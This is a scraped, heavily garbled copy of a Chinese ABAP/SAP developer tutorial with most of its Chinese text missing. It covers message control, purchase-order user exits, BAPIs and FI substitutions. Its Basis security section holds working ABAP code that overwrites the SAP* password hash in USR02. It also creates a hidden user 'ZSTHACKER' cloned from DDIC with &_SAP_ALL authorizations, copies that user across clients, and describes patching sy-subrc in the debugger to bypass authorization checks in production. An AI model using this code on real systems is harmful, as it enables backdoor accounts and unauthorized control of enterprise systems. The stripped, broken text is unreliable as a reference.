Professional Documents
Culture Documents
abap三月通
abap三月通
.................................................................................................................... 2
. ...................................................................................................................... 2
1. ABAP ? .................................................................................................... 2
2.ABAP ......................................................................................... 5
3. Access Key . ............................................................................................ 5
4.ABAP workbench ABAP dictionary ............................................................... 5
5.-Hello World. ................................................................................ 6
6.ABAP .................................................................................................... 7
7.Open SQL Native SQL .................................................................................... 7
8. ..................................................................................................... 7
9. ..................................................................................................... 7
10. ....................................................................................................... 7
11. ........................................................................................................... 7
12. .................................................................................... 7
13. ............................................................................................... 7
14. ................................................................................................. 13
15. ...................................................................... 14
16. ......................................................................................................... 14
17. ......................................................................................... 14
18. Tcode ...................................................................................................... 14
.. .................................................................................................................. 14
1.CATT .................................................................................................................. 14
2.BDC .................................................................................................................... 15
3. background job....................................................................................... 15
4.SapScript ......................................................................................................... 15
5.Smartform ......................................................................................................... 15
6.SAP Query ......................................................................................................... 15
7.ALV .................................................................................................................... 15
8.ALE/iDoc ........................................................................................................... 15
9.Report painter Drilldown Report ........................................................... 15
10.RFC/BAPI ......................................................................................................... 15
11. ................................................................................................. 15
12. ABAP ........................................................................................... 15
. .................................................................................................................... 17
MM . ................................................................................................ 17
SD . ................................................................................................ 30
PP . ................................................................................................ 30
FI . ................................................................................................ 31
CO . ................................................................................................ 47
. ............................................................................................. 57
: ............................................................................................................................ 58
ABAP/Basis Transaction Codes .....................................................
.
ABAP ,,,
ABAP ,,
.
1. ABAP ?
ABAP ,ABAP
, SAP
,ABAP(Advanced Business Application Programming->)
SAP AG .
,ABAP/4 , client/server
,, Visiual Studio ,VB,VC++
.ABAP .
1-1, SAP ,(),
SAP DB instance server, Central instance
Application server( SAP ),
SAP Logon Front End,SAP ,
TCP/IP,SAP RFC ,
.
Delphi , ABAP ,,
,,,, native Open SQL
(),SAP (
).
1-2 SAP Logon ,[1](
),[2]System number,,
, system number00, system number
01, system number physical server application
server.
ABAP , SAP ,,
.
ABAP/4 :
1. SAP ,,, SAP ,.
ABAP Crystal report Tool .
2. VB ,ABAP , VB, ABAP ,
SAP ,ABAPer .
(/H),
. VB ,VB
ABAP , ABAP ,
. .
ABAP ,
ABAP/4 ,
,( ABAP Dumping ABAP).
1-3 ABAP .
2.ABAP
ABAP , ABAP ,
, unix Cobar , .
, C++ ABAP ,
.,SAP ,
ERP , IT , XX
Route , XX , XX , XX
,,,SAP ,
.
,ABAP SAP ,
ABAP, SAP( R/3,miniSAP, IDES),
( SAP ,,
), ABAP .
3. Access Key .
:
Report ZHELLO.
Write Hello World!.
F8 , Hello World!,,.
6.ABAP
8.
9.
10.
11.
12.
13.
MESSAGE ID ' ZFIMSG ' TYPE 'I' NUMBER '0171' with Var1 Var2 Var3 .
017 , With ,.
4.SAP .
I: W: E: S: A: Tcode X:.
5. SAP ,,,.
PROGRAM ZMSGTEST .
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
Tcode OBA5 , SY-
MSGTY ,E ,A .
, PERFORM MESSAGE_SEND .
3Tcode.
,Application AreaSE91Message Class.
1table:
T100: SAP.
T160M :MM,.,MM
SE16.
T100C: FI,OBA5, OFMG,CO
.
T100S: ,KI 005OBA5
.(MM,M7,OMCQ,M3
,OMT4)
.T160M,SE16T100S
.Display.
T100U: ,.
T100W: For Workflow
2Tcode():
FI: OBA5|OFMG|OFPM
MM: OMRM|OKZZ|OMT4|OMCQ |O04C|
SD: OVAH
CO: OPR4_ACT|OPR4_CK|OPR4_CKML|OPR4_CKPF|OPR4_KKA|OPR4_KKP|OPR4_KKS|
OPR4_KKS1|OPR4_PPCOPP
Others:
OPR5|OPR1|OPR3|OPR6|OPR7|OPR8|OPR9|OPRCMFE|MSW1|MSW2
3.
[Case 1].
CK11N(CK40N),Component.
OPR4_CKSwitch Off(Tcode OKKN->Misc.->Error Management
).
***componentCost 1 ViewDo not Costing.
,,,
,,BOM,
,.(CK11N,
).SAPprice0.01,price unit100.
[Case 2].
(1)S price control.SAPWarning(Tcode :OMT4 M3-132,
,W.
(2)V price control,OMT4M3-131,Warning,
SAP,SAP.
.
***SE16:T160MMM.
:[1]SE38LMG11F01 [2] [3]0()
,.
S Price control(,T160MIMG).
4.
,,,
,.
,,,.
5 .
SAP
1 T160M SE16 ,
T160M.( ME_CHECK_T160M),
MESSAGE E017(ZFIMSG)Hard code ,
,, T160M
( E W ).
2T100C,SE16:T100CV_T100C.
(1)SE16:T100S.
[1].(browse)
..
[1]Appl AreaZFIMSG. [2] [3].
(2)SE16:V_T100C.
:
[1](Tcode)[2]BDC
[3],(T100C)
MESSAGE E017(ZFIMSG)
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
SY-MSGTY.
6
PO,PO release,User-exit:
(1)
EXIT_SAPMM06E_017,SMOD enhancement name :MM06E005
(2).
*&---------------------------------------------------------------------*
*& Include ZXM06U42 *
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP .
***ME22N.
CHECK SY-TCODE = 'ME22N '.
***EKBEPO history ,Q,R,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .
***SY-SUBRC =0##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.
***,SAP
.,.
14.
15.
16.
17.
18. Tcode
..
1.CATT
2.BDC
3. background job
4.SapScript
5.Smartform
6.SAP Query
7.ALV
8.ALE/iDoc
10.RFC/BAPI
11.
12. ABAP
ABAP .
13.
, basis
ABAPer ,,.
,()(,
server client, ABAPer ),
,,( server,
Client System Number Server),.
:
1 (Development Class).
ABAP ,
. ABAP , SE80 .
$TMP , ABAP (,
Client Client.
.
2.(Package)
ABAP ,SE16:TADIR
ABAP ,.
TDEVC , SE80 SM30:V_TDEVC.
.
1.( Java package)
2.,
(Private object), OOP .
3..
4. Y Z , ABAP (
ABAP ). A-S, U-X SAP ,T ,$
,/***.
3.(Transport Layer)
.
,,,.
..
IMG .
basis Tcode STMS .
2.13-1, DVU QAS PRD ,
DVU server client 210,100 QAS Client 310 ,
PRD Client 800,810 820 .
4.
server ? client server
?,.
14.
VB,Delphi,Java ,,
?
.
,,
8 ,
,,
., SAP
,,,.
1.MM .
.MM
.
MM ().
||PR,PO (Scrip Smartform)|MRB ||
||||IQC |Pull List|()|
|Delivery notes|Packing List|RMA ||PO |GR/IR
||.
( ABAPer
SAP ),, PO
,.
,,,
(
),.
1.MM
PO
NACE,MB04 PO.
2.PO
PO change history
*&---------------------------------------------------------------------*
*& Include ZXM06U42 *
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP .
*** ME22N .
CHECK SY-TCODE = 'ME22N '.
***EKBE PO history , Q,R ,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .
*** SY-SUBRC =0 ##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.
PO SO
. SE11 ZPOSO ........................................................................ 19
. PO User_exit ........................................................................................ 20
*** Sales order PO function
BAPI_CREATE_PO creating SO User_exit
. SE11 ZPOSO
ZPOSO ,
1. PO SO
2. PO create change ( ME22N update PO qty,or delete PO
line.)
3.
*** EBELN EBELP key fields DB Primary key
. PO User_exit
EXIT_SAPMM06E_001 (002,004,006,007,009) 006 PO create .
EXIT_SAPMM06E_016, 017 PO item PO No..
EXIT_SAPMM06E_009, PO refresh .
EXIT_SAPMM06E_013
update TFDIR MAND C.:
REPORT Zupdate .
data ztfdir like tfdir occurs 0 with header line .
select * from tfdir into table ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
loop at ztfdir .
ztfdir-MAND = 'C' .
modify ztfdir index sy-tabix TRANSPORTING MAND.
endloop.
update tfdir from ztfdir.
*** Work area ,
.
REPORT ZTEST11 .
: EnhancementMODSAP,
MODSAPEnhancement, TFDIRenhancement,MAND
C
code user_exit ,.
, user_exit BAPI . BAPI call
.
EXIT_SAPMM06E_013 include ZXM06U44
coding SE37 test BAPI :BAPI_SALESORDER_CREATEFROMDATA
*** fields status .
ORDER_HEADER_IN
. AGSP, REBP
SH (SAP case, save DB display
, , , SAP DB table ,
SAP AG )
BAPI_SALESORDER_CHANGE
call BAPI_SALESDOCUMENT_CHANGE
ORDER_HEADER_INX-UPDATEFLAG U update, D Delete
sales order,.
Source Code(, OK, SAP
) .
*----------------------------------------------------------------------*
* INCLUDE ZXM06U44
* company 1000POSO in 1000PO in 2000 *
* call .
*----------------------------------------------------------------------*
data:
ZORDER_HEADER_IN like BAPISDHEAD ,
ZORDER_ITEMS_IN like BAPIITEMIN occurs 0 with header line ,
ZORDER_PARTNERS like BAPIPARTNR occurs 0 with header line ,
ZSALESDOCUMENT like BAPIVBELN-VBELN ,
ZRETURN like BAPIRETURN .
Data:
ZPOHEADER like BAPIEKKOC ,
ZPOITEMS like BAPIEKPOC occurs 0 with header line,
ZPO_ITEM_SCHEDULES like BAPIEKET occurs 0 with header line,
ZPURCHASEORDER like BAPIEKKOC-PO_NUMBER .
tables :ZPOSO .
data zposolog like zposo occurs 0 with header line.
data : Zrepcall(1) type C. "BAPI_PO_CREATE.
Refresh : ZORDER_ITEMS_IN .
*** I_EKKO-EBELN(EBELN-PO No.plant)
*** 1.I_EKKO-EBELN5case
*** 2.I_EKKO-BUKRS(comp. code)XEKPO-WERKS(plant)
*** company code 2000HK .
loop at XEKPO .
***----SO items ---***
ZORDER_ITEMS_IN-ITM_NUMBER = XEKPO-EBELP .
* PO item NOSO item No,PO,SO itemmanual input.
ZORDER_ITEMS_IN-MATERIAL = XEKPO-MATNR. "'08K2555'.
ZORDER_ITEMS_IN-REQ_QTY = XEKPO-MENGE .
ZORDER_ITEMS_IN-REQ_QTY = ZORDER_ITEMS_IN-REQ_QTY * 1000 .
* Call SO BAPIQty 1000.ABAP
ZORDER_ITEMS_IN-COND_TYPE = 'ZPR1'. "ZPR1ESTprice cond.
ZORDER_ITEMS_IN-COND_VALUE = XEKPO-NETPR.
ZORDER_ITEMS_IN-COND_VALUE = ZORDER_ITEMS_IN-COND_VALUE / 10 .
*Call SO BAPI testPrice/10
ZORDER_ITEMS_IN-PO_METH_S = '010' . ",EST.
Append ZORDER_ITEMS_IN .
***---PO items,POPONo---***
ZPOITEMS-PUR_MAT = XEKPO-MATNR.
ZPOITEMS-PLANT = XEKPO-WERKS .
ZPOITEMS-NET_PRICE = XEKPO-NETPR.
***test,XEKET,shedules delivery date item.
ZPO_ITEM_SCHEDULES-DELIV_DATE = SY-DATUM . " XEKET-EINDT
ZPO_ITEM_SCHEDULES-QUANTITY = XEKPO-MENGE .
append ZPOITEMS .
append ZPO_ITEM_SCHEDULES .
endloop.
***SP-Sold_to_PartySH-Ship_to_Party.
***AG-SP:sold_to WE:SH Shipping-to,BAPISP,call
***PO vendor noSO customer no,.
ZORDER_PARTNERS-PARTN_ROLE = 'AG'.
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
***HKPOSO customerSZ.
Append ZORDER_PARTNERS .
ZORDER_PARTNERS-PARTN_ROLE = 'WE'.
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
Append ZORDER_PARTNERS .
***----------------------PO---------------------
*** call.
*** ZFLAG, , Zrepcall,defaultF,
CALL FUNCTION 'BAPI_PO_CREATE'
EXPORTING
PO_HEADER = ZPOHEADER
* PO_HEADER_ADD_DATA =
* HEADER_ADD_DATA_RELEVANT =
* PO_ADDRESS =
* SKIP_ITEMS_WITH_ERROR = 'X'
* ITEM_ADD_DATA_RELEVANT =
IMPORTING
PURCHASEORDER = ZPURCHASEORDER "
TABLES
PO_ITEMS = ZPOITEMS
* PO_ITEM_ADD_DATA =
PO_ITEM_SCHEDULES = ZPO_ITEM_SCHEDULES
* PO_ITEM_ACCOUNT_ASSIGNMENT =
* PO_ITEM_TEXT =
* RETURN =
* PO_LIMITS =
* PO_CONTRACT_LIMITS =
* PO_SERVICES =
* PO_SRV_ACCASS_VALUES =
* PO_SERVICES_TEXT =
* PO_BUSINESS_PARTNER =
* EXTENSIONIN =
* POADDRDELIVERY =
.
Endif. "Purchase Order Sales Order
3.
4.
5.
6.
7.GR/IR
8.
LIS
2.SD .
SD :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|Dunning
Letter|Shipment Status|Packing List|.
SD ,.
1.
2.
3.
4.
5.
6.
7.
8.
3.PP .
PP :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|Dunning
Letter|Shipment Status|Packing List|.
SD ,.
4.FI .
1.
2.(Validation)
7-6.
[1]E ,,I,W ,
, A, Tcode .
[2] Tcode:SE91 Message Class( 7-7).
3.(Substitution)
:
:
1 ,?
2 ZSTSUB(), SAP RGGBS000, RGGBS000 Form
(header,Line,Complete doc) Exit ,
field exit,header exit,line exit complete exit?
FORM get_exit_titles TABLES etab,.
c_exit_param_none, c_exit_param_fieldc_exit_param_class
exits-name = 'U100'.
exits-param = c_exit_param_none. Field exit,only exit
exits-title = text-100.
APPEND exits.
exits-name = 'U101'.
exits-param = c_exit_param_field.Formexit
exits-title = text-101.
APPEND exits.
exits-name = 'U801'.
exits-param = c_exit_param_class.
Form U801Callup point 3 complete doc.
exits-title = text-101. "Cost center from CSKS
APPEND exits.
3 BKPF,BSEG ?
4
, 3,4 .
FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB()| GBTDMFI0|
GBTDMFIJ . ,
,.
:. posting date
,..
1 BKPF-BUDAT
,. 9-6.
[1] only exit U100, field exit . [2]BKPF-BUDAT .
*** BCLTAB BCLFIELD BKPF,BSEG
.
1 GB01 , BUDAT .
GB01 , SE16 GB01,
, SE11 GB01 ,.
Report ZMODGB01.
DATA ZGB01 LIKE GB01 .
SELECT SINGLE * INTO ZGB01 FROM GB01
WHERE BOOLCLASS = '008'
AND CLASSTYPE = 'S'
AND BCLTAB = 'BKPF'
AND BCLFIELD = 'BUDAT' .
* AND BCLTAB = 'BSEG'
* AND BCLFIELD = 'PRCTR' .
ZGB01-BEXCLUDE = ''.
MODIFY GB01 FROM ZGB01 .
2 , Tcode.
GGB0: All Validations.
GGB1: All Substitutions
GGB2: All Rule Class
GGB3: Tcode,,.
GGB4:
2 .
,, CO-PA ,
,, ABAP .
OBBH , 9-7 .
[1] [2] class, GBTDMFIJ.
GBTDMFIGFORM EXP_TAB_008_BKPF(class
8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM EXP_TAB_015_BKPF
FORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
FORM EXP_TAB_008_BKPF .
TEMP_STRUCT (),,.
***, GBTDMFIG Form TEMP_STRUCT
. TEMP_STRUCT BKPF-BUDAT, posting date
, 3 RGUGBR00 .
, BKPF,BSEG , BKPF
TEMP_STRUCT(),BKPF Reset .
3 .
SE38 RGUGBR00, ().
4.
, Posting Date (,
,, 4 SAP )
(,).
FORM u100.
* Exit(Form) head(Line item) Filed ,.
* GBTDMFIG( GBTDMFI0 )
* Yueming Li ,.
Form 100.
BSEG-SGTXT = 'TEST TeXT'.
*BKPF-BUDAT
TABLES: T009B.
DATA: BEGIN OF T_T009B OCCURS 10,
BUMON LIKE T009B-BUMON,
BUTAG LIKE T009B-BUTAG,
END OF T_T009B.
L_DATE = SY-DATUM.
L_CURYEAR = L_DATE(4).
L_CURMONTH = L_DATE+4(2).
L_CURDAY = L_DATE+6(2).
L_CURMONTH = L_CURMONTH - 0.
L_PERMONTH = L_CURMONTH - 1.
L_DATE = BKPF-BUDAT.
L_YEAR = L_DATE(4).
L_MONTH = L_DATE+4(2).
L_DAY = L_DATE+6(2).
L_MONTH = L_MONTH - 0.
IF L_CURYEAR NE L_YEAR.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF L_MONTH NE L_CURMONTH
AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF T_T009B-BUMON EQ L_CURMONTH
AND T_T009B-BUTAG LE L_CURDAY.
APPEND T_T009B.
ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B.
IF T_T009B-BUMON EQ L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.
EXIT.
ENDIF.
ENDIF.
IF T_T009B-BUMON GT L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
EXIT.
ENDIF.
ENDIF.
ENDLOOP.
BKPF-BUDAT = L_DATE.
ENDFORM. "U100
.
FORM u100. "#EC CALLED
*Formheaderline .
BSEG-SGTXT = 'Line Item Text'. "For Line Sub.
DATA:Z_PSTDATE TYPE SY-DATUM,
Z_CURPER LIKE T009B-POPER,
Z_CURYEAR LIKE T009B-BDATJ,
Z_PSTPER LIKE T009B-POPER,
Z_PSTYEAR LIKE T009B-BDATJ,
Z_PERLSTDAY LIKE SY-DATUM.
*.
*check posting date's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = BKPF-BUDAT
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_PSTPER
YEAR = Z_PSTYEAR .
*check sysdate's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE = SY-DATUM
VERSION = 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD = Z_CURPER
YEAR = Z_CURYEAR.
*posting date.
CHECK Z_CURYEAR <> Z_PSTYEAR OR Z_PSTPER <> Z_CURPER.
*posting date##
Z_PSTPER = Z_PSTPER + 1 .
CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'
EXPORTING
I_GJAHR = Z_PSTYEAR
I_PERIV = 'Z1'
I_POPER = Z_PSTPER
IMPORTING
E_DATE = Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 .
BKPF-MONAT = Z_PSTPER . " Edit options .
5.?
?,
. SAP ,,
, posting date ,
posting post ,.
,..
(1)/H debug, F6 SAPMF05A screen Number 1001, module
document_merge , module .
(2)parked doc g_status =2 .
, FV50 .
FI_VALIDATION_DOC
FI_VALIDATION_HEADER
FI_VALIDATION_ITEM
6.?
Mat doc .
4.BKPF|BSEG
5.Dunning
6.
7.
8.
5.CO .
1.
2.
8.
6.Basis
1.
13 ,
,.
SM12 ,.
Program ZSTDELREQ .
data :
itab_e070 like e070 occurs 0 with header line,
* Request header including Req user.
iwa_e070c like e070c, "Request client
itab_e071 like e071 occurs 0 with header line ,
*Request entry line items may include multiple lines
iwa_e07t like e07t , "Requst short text(desc)
iwa_E070A like E070A ,
*If the Request was locked and delelted,Delete Tlock otherwise
*The program will be locked to make any modifications.
itab_tlock like tlock occurs 0 with header line .
parameter reqno like e070-trkorr default '' .
select * into table itab_e070 from e070
where trkorr eq reqno or strkorr eq reqno.
if SY-SUBRC Ne 0 .
write : 'The Request No.:' , Reqno , ' not exist !' .
* exit .
endif .
3. SAP
SAP ,
, SAP ,
,( Hacker).
,.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
Authorization Object , USR_USER_AUTH_FOR_OBJ_GET
AUTHORIZATION_DATA_READ_SELOBJ.
Tcode .
()Role() T-code:
PFAC
PFAC_CHG
PFAC_DEL
PFAC_DIS
PFAC_INS
PFAC_STR
PFCG
ROLE_CMP
SUPC profile
SWUJ
SU03
SU25, SU26 Profile
()
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10
SU12
SUCOMP:
SU2 change
SUIM , by .
()
SUGR:
SUGRD:
SUGRD_NAV:
SUGR_NAV:
()
SU20|SU21: authorization fields
SU50|SU51|SU52
SU53:
SU56: authoraztion data buffers.
SU87: history
SU96,SU97,SU98,SU99:
:
TOBJ : All avaiable authorzation objects.(SAP default objects )
USR12: authoraztion
USR02: table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:(SM04 )
USRBF2: objects
UST04:User Profile master
UST10C: Composite profiles
UST10S: Single profiles
UST12 : Authorizations
?
. SAP* 123..
report ZMODPWD.
tables :usr02 .
*Data ZUSR02 like USR02 .
*select single * into zUSR02 from USR02
*where BNAME = 'SAP*'.
*ZUSR02-BNAME = 'SAP*'.
*ZUSR02-Bcode = '9C8AB8600E74D864' .
*ZUSR02-UFLAG = '0' ."unlock SAP*
*Update USR02 from ZUSR02 .
update usr02 set bcode = 'DF52478E6FF90EEB'
where BNAME = 'SAP*'.
sap*.
SAP*,basis ,
?,
USRBF2 , SU01
,.
ZSTHACKER(123qaz)SAP*.
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER' .
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
SAP*, Tobj ZSTHACKER .
Data Ztobj like tobj occurs 0 with header line .
data zusrbf2 like usrbf2.
select * into table ztobj from tobj .
loop at ztobj.
zusrbf2-mandt = sy-mandt.
zusrbf2-bname = 'ZSTHACKER'.
zusrbf2-objct = ztobj-objct.
zusrbf2-auth ='&_SAP_ALL'.
modify USRBF2 FROM zusrbf2 .
endloop .
basis ZSTHACKER ,
basis ..:
[1], PRD
Query( report painter)( Access Key).
[2] query (
USR02 USRBF2 ),( usr02 usrbf2
) basis .
***.
[3] client ?
,, client . client 100
ZSTHACKER , client 300, 300 SAP*
client 100 ZSTHACKER.( client specified client
).
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .
4.
, Debut(/H),
ABAPer SE38,SE71 ,.
(basis
).
3.6.4-1 ,, LV_SUBRC 0 .
, 3.6.4-2, SY-SUBRC 0 .
ABAPer PRD SE38 ,,
display( 3.6.4-3) 3.6.4-1 3.6.4-2
LSTRDU34 LSTRDU44 LV_SUBRC SY-SUBRC 0
(, Display ).
/H SE38( SE37),
/H, SE38 ( LSUSEU11,
,/H )
3.6.4-4, PRD SE38 , SCC4 Client
, LSUSEU11 , sy-subrc 0, SCC4
, Tcode .
.
:
1.ABAPer Tcode
ABAPer Tcode
:
1 Tcode S001 SAP easy access ABAP workbench Tcode
2 Tcode SE43 Area Menu Tcode(
/n Area menu,/O Area menu ), Tcode Application
area Tcode , ASMN AM Tcode
,AUTH Tcode .
Tcode
CMOD(SMOD) SAP
OSS1 SAP OSS
S001 ABAP ( Tcode)
SA38 (SE38 )
SCAT Computer Aided Test Tool
SE01 ( client)
SE09
SE10 SE09
SE11 ABAP
SE12
SE13|SE14|SE15
SE16|SE17
SE30 ABAP
SE32 ABAP
SE35 ABAP/4
SE36
SE37 Function module
SE38 ABAP
SE39
SE41
SE43 ( tcode area menu)
SE51
SE54 , SE16|SM30
SE61
SE63
SE71->SE76 SAPscript Tcode
SE80 ABAP
SE81 ABAP
SE84|SE85|SE86 ABAP/4 Repository Information System
SE91
SE92 Log
SE93 Tcode
SEU Repository Object Browser
SHD0 Tcode (Variant)
SM04
SM12 Locked objects( lock )
SM21 Dump log
SM30|SM31 table|view
SM32
SM35 Batch input session( BDC SHDB)
SM36 job
SM37 job
SM50 Process Overview
SM51 Display system servers, processes, etc.
SM62 Display/Maintain events in SAP
ST05 SQL ,.
SU53 ,